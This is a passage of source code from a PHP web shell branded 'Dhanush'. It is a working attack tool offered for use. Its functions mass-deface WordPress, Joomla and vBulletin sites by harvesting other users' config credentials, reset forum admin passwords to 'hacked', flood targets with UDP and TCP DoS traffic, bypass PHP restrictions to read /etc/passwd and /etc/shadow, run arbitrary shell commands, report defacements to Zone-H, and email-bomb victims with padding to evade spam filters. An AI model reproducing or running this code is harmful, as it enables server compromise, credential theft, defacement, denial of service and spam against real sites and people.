  3971. $matches = str_replace("home/","",$matches[1]);
  3972. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  3973. continue;
  3974. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/wp-config.php");
  3975. if(entre2v2($conf,"define('DB_USER', '","');"))
  3976. changeindexwp($conf,$_REQUEST['massdef']);
  3977. }
  3978. fclose($file);
  3979. }
  3980. }
  3981. }
  3982. elseif($_REQUEST["massscript"] == "domassjo")
  3983. {
  3984. mkdir("dhanush");
  3985. chdir("dhanush");
  3986. $d0mains = @file("/etc/named.conf");
  3987. if($d0mains)
  3988. {
  3989. $defcount = 0;
  3990. echo "<center><table border=1 style='width:80%;'><tr align=center><th>Login new info</th><th>Login info</th><th>Site</th><th>Message</th><tr>";
  3991. foreach($d0mains as $d0main)
  3992. {
  3993. if(eregi("zone",$d0main))
  3994. {
  3995. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  3996. flush();
  3997.  
  3998. if(strlen(trim($domains[1][0])) > 2)
  3999. {
  4000. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  4001. $conf = @file_get_contents($url."dhanush/root/home/".$user['name']."/public_html/configuration.php");
  4002. if(entre2v2($conf,$dol."user = '","';"))
  4003. changeindexjo($conf,$_REQUEST['massdef'],$domains[1][0]);
  4004. }
  4005. }
  4006. }
  4007. echo '</table><br><h3>'.$defcount.' sites defaced</h3>';
  4008. }
  4009. else
  4010. echo "Cannot Read /etc/named.conf";
  4011. }
  4012. elseif($_REQUEST["massscript"] == "domassvb")
  4013. {
  4014. mkdir("dhanush");
  4015. chdir("dhanush");
  4016. echo "<center><table border=1 style='width:70%;'><tr align=center><th>Site</th><th>Message</th><tr>";
  4017.  
  4018. if(@file('/etc/passwd'))
  4019. {
  4020. $users = file('/etc/passwd');
  4021. foreach($users as $user)
  4022. {
  4023. $user = explode(':', $user);
  4024. $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/includes/config.php");
  4025. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4026. changeindexvb($conf,$_REQUEST['massdef']);
  4027. $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/vb/configuration.php");
  4028. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4029. changeindexvb($conf,$_REQUEST['massdef']);
  4030. $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/forum/configuration.php");
  4031. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4032. changeindexvb($conf,$_REQUEST['massdef']);
  4033. $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/core/configuration.php");
  4034. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4035. changeindexvb($conf,$_REQUEST['massdef']);
  4036. $conf = @file_get_contents($url."dhanush/root/home/".$user['0']."/public_html/vb/core/configuration.php");
  4037. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4038. changeindexvb($conf,$_REQUEST['massdef']);
  4039. }
  4040. }
  4041. else
  4042. {
  4043. $temp = "";
  4044. $val1 = 0;
  4045. $val2 = 1000;
  4046. for(;$val1 <= $val2;$val1++)
  4047. {
  4048. $uid = @posix_getpwuid($val1);
  4049. if ($uid)
  4050. $temp .= join(':',$uid)."\n";
  4051. }
  4052.  
  4053. $temp = trim($temp);
  4054.  
  4055. if($file5 = fopen("test.txt","w"))
  4056. {
  4057. fputs($file5,$temp);
  4058. fclose($file5);
  4059.  
  4060. $file = fopen("test.txt", "r");
  4061. while(!feof($file))
  4062. {
  4063. $s = fgets($file);
  4064. $matches = array();
  4065. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  4066. $matches = str_replace("home/","",$matches[1]);
  4067. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  4068. continue;
  4069. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/includes/config.php");
  4070. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4071. changeindexvb($conf,$_REQUEST['massdef']);
  4072. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/configuration.php");
  4073. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4074. changeindexvb($conf,$_REQUEST['massdef']);
  4075. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/forum/configuration.php");
  4076. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4077. changeindexvb($conf,$_REQUEST['massdef']);
  4078. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/core/configuration.php");
  4079. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4080. changeindexvb($conf,$_REQUEST['massdef']);
  4081. $conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/core/configuration.php");
  4082. if(entre2v2($conf,"['MasterServer']['username'] = '","';"))
  4083. changeindexvb($conf,$_REQUEST['massdef']);
  4084. changeindexvb($conf,$_REQUEST['massdef']);
  4085. }
  4086. fclose($file);
  4087. }
  4088. }
  4089. }
  4090. echo "</table><center>";
  4091. }
  4092. else
  4093. echo "<center>Cannot do mass deface</center>";
  4094. }
  4095. else if(isset($_REQUEST["defaceforum"]))
  4096. {
  4097. ?>
  4098. <center><div id="showdeface"></div>
  4099. <font size="4">Forum Index Changer</font>
  4100. <form action="<?php echo $self; ?>" method = "POST">
  4101. <input type="hidden" name="forum">
  4102. <input type="hidden" name="defaceforum">
  4103. <table class=btmtbl border = "1" width="60%" style="text-align: center;" align="center">
  4104. <tr>
  4105. <td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
  4106.  
  4107. <td width="50%"> Database : <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
  4108. <tr><td height="50" width="50%">User : <input type ="text" class="sbox" name = "f3" size="20"> </td>
  4109. <td> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
  4110.  
  4111. <tr><td height="50" width="50%">Type :
  4112. <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
  4113. <option value="vb">vbulletin</option>
  4114. <option value="mybb">Mybb</option>
  4115. <option value="smf">SMF</option>
  4116. <option value="ipb">IPB</option>
  4117. <option value="wp">Wordpress</option>
  4118. <option value="joomla">Joomla</option>
  4119. </select></td>
  4120. <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
  4121.  
  4122. </tr>
  4123. <tr>
  4124. <td height="167" width="50%" colspan=2>
  4125. <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" id="siteurl" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
  4126.  
  4127. <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
  4128.  
  4129. </div>
  4130.  
  4131. <p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
  4132. <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,f5.value)" class="but" value = "Hack It">
  4133. </td>
  4134. </tr>
  4135. </table>
  4136. </form>
  4137. </center>
  4138. <?php
  4139. }
  4140. else if(isset($_GET["passwordchange"]))
  4141. {
  4142. echo "<center>";
  4143. ?>
  4144. <div id="showchangepass"></div>
  4145. <font size="4">Forum Password Changer</font>
  4146. <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value);return false;">
  4147. <table class=btmtbl border = "1" width="60%" height="246" style="text-align: center;" align="center">
  4148. <tr>
  4149. <td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> DataBase : <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> User : <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
  4150. <tr>
  4151. <td height="50" width="50%">Type :
  4152. <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
  4153. <option value="vb">vbulletin</option>
  4154. <option value="mybb">Mybb</option>
  4155. <option value="smf">SMF</option>
  4156. <option value="ipb">IPB</option>
  4157. <option value="phpbb">PHPBB</option>
  4158. <option value="wp">Wordpress</option>
  4159. <option value="joomla">Joomla</option>
  4160. </select></td>
  4161. <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
  4162. </tr>
  4163. <tr>
  4164. <td colspan=2 height="100" width="780">
  4165.  
  4166. <p align="center"><div id="fid" style="display:block;">User ID : <input class="sbox" type="text" name="ipbuid" size="20" value="1"> New Password : <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
  4167.  
  4168. <div id="joomla" style="display:none;">New Username : <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
  4169.  
  4170. <div id="wpress" style="display:none;"><p>New Username : <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p></div>
  4171.  
  4172. <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
  4173. </tr>
  4174. </table>
  4175. </form>
  4176. </center>
  4177. <?php
  4178. }
  4179. else if(isset($_GET['dosser']))
  4180. {
  4181. if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
  4182. $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
  4183. {
  4184. $IP=$_GET['ip'];
  4185. $port=$_GET['port'];
  4186. $executionTime = $_GET['exTime'];
  4187. $no0fBytes = $_GET['no0fBytes'];
  4188. $data = "";
  4189. $timeout = $_GET['timeout'];
  4190. $packets = 0;
  4191. $counter = $no0fBytes;
  4192. $maxTime = time() + $executionTime;;
  4193. while($counter--)
  4194. {
  4195. $data .= "X";
  4196. }
  4197. $data .= " Dhanush";
  4198.  
  4199. while(1)
  4200. {
  4201. $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  4202. if($socket)
  4203. {
  4204. fwrite($socket , $data);
  4205. fclose($socket);
  4206. $packets++;
  4207. }
  4208. if(time() >= $maxTime)
  4209. {
  4210. break;
  4211. }
  4212. }
  4213. echo "Dos Completed!<br>";
  4214. echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  4215. echo "Total Number of Packets Sent : " . $packets . "<br />";
  4216. echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
  4217. echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
  4218. }
  4219. }
  4220. else if(isset($_GET['fuzzer']))
  4221. {
  4222. if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
  4223. {
  4224. $IP=$_GET['ip'];
  4225. $port=$_GET['port'];
  4226. $times = $_GET['exTime'];
  4227. $timeout = $_GET['timeout'];
  4228. $send = 0;
  4229. $ending = "";
  4230. $multiplier = $_GET['multiplier'];
  4231. $data = "";
  4232. $mode="tcp";
  4233. $data .= "GET /";
  4234. $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  4235. if($_GET['type'] == "tcp")
  4236. {
  4237. $mode = "tcp";
  4238. }
  4239.  
  4240. while($multiplier--)
  4241.  
  4242. {
  4243. $data .= urlencode($_GET['no0fBytes']);
  4244. }
  4245. $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
  4246. $data .= "by-Dhanush".$ending;
  4247. $length = strlen($data);
  4248.  
  4249.  
  4250. echo "Sending Data :- <br /> <p align='center'>$data</p>";
  4251.  
  4252. for($i=0;$i<$times;$i++)
  4253. {
  4254. $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  4255. if($socket)
  4256. {
  4257. fwrite($socket , $data , $length );
  4258. fclose($socket);
  4259. }
  4260. }
  4261. echo "Fuzzing Completed!<br>";
  4262. echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
  4263. echo "Total Number of Packets Sent : " . $times . "<br />";
  4264. echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
  4265. echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  4266. }
  4267. }
  4268. else if(isset($_GET['bypassit']))
  4269. {
  4270. echo "<BR>";
  4271. if(isset($_GET['copy']))
  4272. {
  4273. if(@copy($_GET['copy'],"test1.php"))
  4274. {
  4275. $fh=fopen("test1.php",'r');
  4276. echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea>";
  4277. @fclose($fh);
  4278. unlink("test1.php");
  4279. }
  4280. }
  4281. else if(isset($_GET['filecontents']))
  4282. {
  4283. echo "<textarea cols=100 rows=20 class=box readonly>";
  4284. echo file_get_contents($_GET['filecontents']);
  4285. echo "</textarea>";
  4286. }
  4287. else if(isset($_GET['stream']))
  4288. {
  4289. echo "<textarea cols=100 rows=20 class=box readonly>";
  4290. $file=$_GET['stream'];
  4291. if ($stream = fopen($file, 'r')) {
  4292. echo stream_get_contents($stream, -1, 0);
  4293. fclose($stream);
  4294. }
  4295.  
  4296. echo "</textarea>";
  4297. }
  4298. else if(isset($_GET['curl']))
  4299. {
  4300. $ch=curl_init("file://" . $_GET[curl]);
  4301. curl_setopt($ch,CURLOPT_HEADERS,0);
  4302. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4303. $file_out=curl_exec($ch);
  4304. curl_close($ch);
  4305. echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea>";
  4306. }
  4307. else if(isset($_GET['include']))
  4308. {
  4309. if(file_exists($_GET['include']))
  4310. {
  4311. echo "<textarea cols=100 rows=20 class=box readonly>";
  4312. @include($_GET['include']);
  4313. echo "</textarea>";
  4314. }
  4315. else
  4316. echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
  4317. }
  4318. else if(isset($_GET['id']))
  4319. {
  4320. echo "<textarea cols=100 rows=20 class=box readonly>";
  4321. for($uid=0;$uid<60000;$uid++)
  4322. {
  4323. $ara = posix_getpwuid($uid);
  4324. if (!empty($ara))
  4325. {
  4326. while (list ($key, $val) = each($ara))
  4327. {
  4328. print "$val:";
  4329. }
  4330. print "\n";
  4331. }
  4332. }
  4333. echo "</textarea>";
  4334. }
  4335. else if(isset($_GET['tempnam']))
  4336. {
  4337. echo "<textarea cols=100 rows=20 class=box readonly>";
  4338. $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
  4339. $fp = fopen ( $mytmp, 'r' );
  4340. while(!feof($fp))
  4341. echo fgets($fp);
  4342. fclose ( $fp );
  4343. echo "</textarea>";
  4344. }
  4345. else if(isset($_GET['symlnk']))
  4346. {
  4347. echo "<textarea cols=100 rows=20 class=box readonly>";
  4348. @mkdir("mydhanush",0777);
  4349. @chdir("mydhanush");
  4350. execmd("ln -s /etc/passwd");
  4351.  
  4352. echo file_get_contents($curr_url . "/mydhanush/passwd");
  4353. echo "</textarea>";
  4354. }
  4355. if(isset($_GET['newtype']))
  4356. {
  4357. $filename = $_GET['newtype'];
  4358. echo "<textarea cols=100 rows=20 class=box readonly>";
  4359. if($_GET['optiontype'] == "xxd")
  4360. echo execmd("xxd ".$filename);
  4361. else if($_GET['optiontype'] == "rev")
  4362. echo execmd("rev ".$filename);
  4363. if($_GET['optiontype'] == "tac")
  4364. echo execmd("tac ".$filename);
  4365. if($_GET['optiontype'] == "more")
  4366. echo execmd("more ".$filename);
  4367. if($_GET['optiontype'] == "less")
  4368. echo execmd("less ".$filename);
  4369. if($_GET['optiontype'] == "awk")
  4370. echo execmd("awk '{ print }' ".$filename);
  4371. echo "</textarea>";
  4372. }
  4373. echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 2px;" /><BR><BR><BR>';
  4374. }
  4375. // Deface Website
  4376. else if(isset($_GET['deface']))
  4377. {
  4378. $myfile = fopen($_GET['deface'],'w');
  4379. if(fwrite($myfile, base64_decode($ind)))
  4380. {fclose($myfile);
  4381. echo "Index Defaced Successfully";}
  4382. else
  4383. echo "Donot have write permission";
  4384. }
  4385. else if(isset($_GET['perms']))
  4386. {
  4387. ?><br>
  4388. <form>
  4389. <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
  4390. <table align="center" border="1" style="width:40%;border-color:#333333;border-collapse:collapse;">
  4391. <tr>
  4392. <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  4393. </tr>
  4394. <tr>
  4395. <td colspan="2" align="center" style="height:60px">
  4396. <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" />
  4397. <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
  4398. </td>
  4399. </tr>
  4400. </table>
  4401.  
  4402. </form>
  4403. <?php
  4404. }
  4405. else if(isset($_GET["chmode"]))
  4406. {
  4407. if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
  4408. {
  4409. echo '<br>';
  4410. $perms = 0;
  4411. for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
  4412. $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
  4413. if(@chmod($_GET['myfilename'],$perms))
  4414. echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
  4415. else
  4416. echo "<center><blink>Cannot Change File Permissions</blink></center>";
  4417. echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" /><BR><BR>';
  4418. }
  4419. }
  4420. else if(isset($_GET['rename']))
  4421. {
  4422. ?><BR>
  4423. <form>
  4424. <table border="0" cellpadding="7" cellspacing="3">
  4425. <tr>
  4426. <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
  4427. </tr>
  4428. <tr>
  4429. <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
  4430. </tr>
  4431. <tr>
  4432. <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
  4433. <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
  4434. </td>
  4435. </tr>
  4436. </table>
  4437. </form>
  4438. <?php
  4439.  
  4440. }
  4441. else if(isset($_GET['renamemyfile']))
  4442. {
  4443. if(isset($_GET['to']) && isset($_GET['file']))
  4444. {
  4445. echo '<br>';
  4446. if(!rename($_GET['file'], $_GET['to']))
  4447. echo "Cannot Rename File";
  4448. else
  4449. echo "<font class=txt>File Renamed Successfully</font>";
  4450. echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" /><BR><BR>';
  4451. }
  4452. }
  4453. else if(isset($_GET['open']))
  4454. {
  4455. if(is_file($_GET['myfilepath']))
  4456. {
  4457. $owner = "0/0";
  4458. if($os == "Linux")
  4459. $owner = getOGid($_GET['myfilepath']);
  4460. ?>
  4461. <form>
  4462. <table style="width:57%;">
  4463. <tr align="left">
  4464. <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
  4465. </tr>
  4466. <tr>
  4467. <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
  4468. </tr>
  4469. </table>
  4470. <textarea name="content" rows="15" cols="100" class="box"><?php
  4471. $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
  4472. if($content)
  4473. {
  4474. echo $content;
  4475. }
  4476. else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  4477. {
  4478. if(filesize($_GET['myfilepath']) != 0 )
  4479. {
  4480. fopen($_GET['myfilepath']);
  4481. while(!feof())
  4482. {
  4483. echo htmlspecialchars(fgets($_GET['myfilepath']));
  4484. }
  4485. }
  4486. }
  4487.  
  4488. ?>
  4489. </textarea><br />
  4490. <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
  4491. <input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
  4492. </form>
  4493. <?php
  4494. }
  4495. else
  4496. echo '<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>';
  4497. }
  4498. else if(isset($_POST['file']) && isset($_POST['content']))
  4499. {
  4500. echo '<BR>';
  4501. if(file_exists($_POST['file']))
  4502. {
  4503. $handle = fopen($_POST['file'],"w");
  4504. if(fwrite($handle,$_POST['content']))
  4505. echo "<font class=txt>File Saved Successfully!</font>";
  4506. else
  4507. echo "Cannot Write into File";
  4508. }
  4509. else
  4510. {
  4511. echo "File Name Specified does not exists!";
  4512. }
  4513. echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>';
  4514. }
  4515. else if(isset($_POST["SendNowToZoneH"]))
  4516. {
  4517. $hacker = $_POST['defacer'];
  4518. $method = $_POST['hackmode'];
  4519. $neden = $_POST['reason'];
  4520. $site = $_POST['domain'];
  4521.  
  4522. if (empty($hacker))
  4523. {
  4524. die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
  4525. }
  4526. elseif($method == "--------SELECT--------")
  4527. {
  4528. die("<center><font size=3>[-] You Must Select The Method !</center>");
  4529. }
  4530. elseif($neden == "--------SELECT--------")
  4531. {
  4532. die("<center><font size=3>[-] You Must Select The Reason</center>");
  4533. }
  4534. elseif(empty($site))
  4535. {
  4536. die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
  4537. }
  4538. // Zone-h Poster
  4539. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  4540. {
  4541. $k = curl_init();
  4542. curl_setopt($k, CURLOPT_URL, $url);
  4543. curl_setopt($k,CURLOPT_POST,true);
  4544. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  4545. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  4546. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  4547. $kubra = curl_exec($k);
  4548. curl_close($k);
  4549. return $kubra;
  4550. }
  4551.  
  4552. $i = 0;
  4553. $sites = explode("\n", $site);
  4554. echo "<pre class=ml1 style='margin-top:5px'>";
  4555. while($i < count($sites))
  4556. {
  4557. if(substr($sites[$i], 0, 4) != "http")
  4558. {
  4559. $sites[$i] = "http://".$sites[$i];
  4560. }
  4561. ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  4562. echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
  4563. ++$i;
  4564. }
  4565.  
  4566. echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
  4567. }
  4568. else if(isset($_GET['executemycmd']))
  4569. {
  4570. $comm = $_GET['executemycmd'];
  4571. chdir($_GET['executepath']);
  4572. echo shell_exec($comm);
  4573. }
  4574. // View Passwd file
  4575. else if(isset($_GET['passwd']))
  4576. {
  4577. $test='';
  4578. $tempp= tempnam($test, "cx");
  4579. $get = "/etc/passwd";
  4580. $name=@posix_getpwuid(@fileowner($get));
  4581. $group=@posix_getgrgid(@filegroup($get));
  4582. $owner = $name['name']. " / ". $group['name'];
  4583. ?>
  4584. <table style="width:57%;">
  4585. <tr>
  4586. <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
  4587. </tr>
  4588. <tr>
  4589. <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
  4590. </tr>
  4591. </table>
  4592. <?php
  4593. if(copy("compress.zlib://".$get, $tempp))
  4594. {
  4595. $fopenzo = fopen($tempp, "r");
  4596. $freadz = fread($fopenzo, filesize($tempp));
  4597. fclose($fopenzo);
  4598. $source = htmlspecialchars($freadz);
  4599. echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
  4600. unlink($tempp);
  4601. }
  4602. else
  4603. {
  4604. ?>
  4605. <form>
  4606. <input type="hidden" name="etcpasswd">
  4607. <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
  4608. <tr>
  4609. <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
  4610. </tr>
  4611. <tr>
  4612. <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
  4613. </tr>
  4614. <tr>
  4615. <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
  4616. </tr>
  4617. </table><br>
  4618. </form>
  4619. <?php
  4620. }
  4621. ?>
  4622. <br />
  4623. <input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>
  4624. <?php
  4625. }
  4626. else if(isset($_GET['shadow']))
  4627. {
  4628. $test='';
  4629. $tempp= tempnam($test, "cx");
  4630. $get = "/etc/shadow";
  4631. if(copy("compress.zlib://".$get, $tempp))
  4632. {
  4633. $fopenzo = fopen($tempp, "r");
  4634. $freadz = fread($fopenzo, filesize($tempp));
  4635. fclose($fopenzo);
  4636. $source = htmlspecialchars($freadz);
  4637. echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
  4638. unlink($tempp);
  4639. }
  4640. }
  4641. else if(isset($_GET['bomb']))
  4642. {
  4643. ?><div id="showmail"></div>
  4644. <form>
  4645. <table id="margins" style="width:100%;">
  4646. <tr>
  4647. <td style="width:30%;">To</td>
  4648. <td>
  4649. <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  4650. </td>
  4651. </tr>
  4652. <tr>
  4653.  
  4654. <td style="width:30%;">Subject</td>
  4655. <td>
  4656. <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
  4657. </td>
  4658. </tr>
  4659. <tr>
  4660. <td style="width:30%;">No. of Times</td>
  4661. <td>
  4662. <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
  4663. </td>
  4664. </tr>
  4665. <tr>
  4666. <td style="width:30%;">Pad your message (Less spam detection)</td>
  4667. <td><input type="checkbox" name="padding"/></td>
  4668. </tr>
  4669. <tr>
  4670. <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
  4671. </tr>
  4672. <tr>
  4673. <td rowspan="2">
  4674. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
  4675. </td>
  4676. </tr>
  4677. </table>
  4678. </form>
  4679. <?php
  4680. }
  4681.  
  4682. //Mass Mailer
  4683. else if(isset($_GET['mail']))
  4684. {
  4685. ?><div id="showmail"></div>
  4686. <div align="left">
  4687. <form>
  4688. <table align="left" style="width:100%;">
  4689. <tr>
  4690. <td style="width:10%;">From</td>
  4691. <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'Hello@abcd.in')this.value = '';" onBlur="if(this.value=='')this.value='Hello@abcd.in';"/></td>
  4692. </tr>
  4693.  
  4694. <tr>
  4695. <td style="width:20%;">To</td>
  4696. <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
  4697. </tr>
  4698.  
  4699. <tr>
  4700. <td style="width:20%;">Subject</td>
  4701. <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
  4702. </tr>
  4703.  
  4704.  
  4705. <tr>
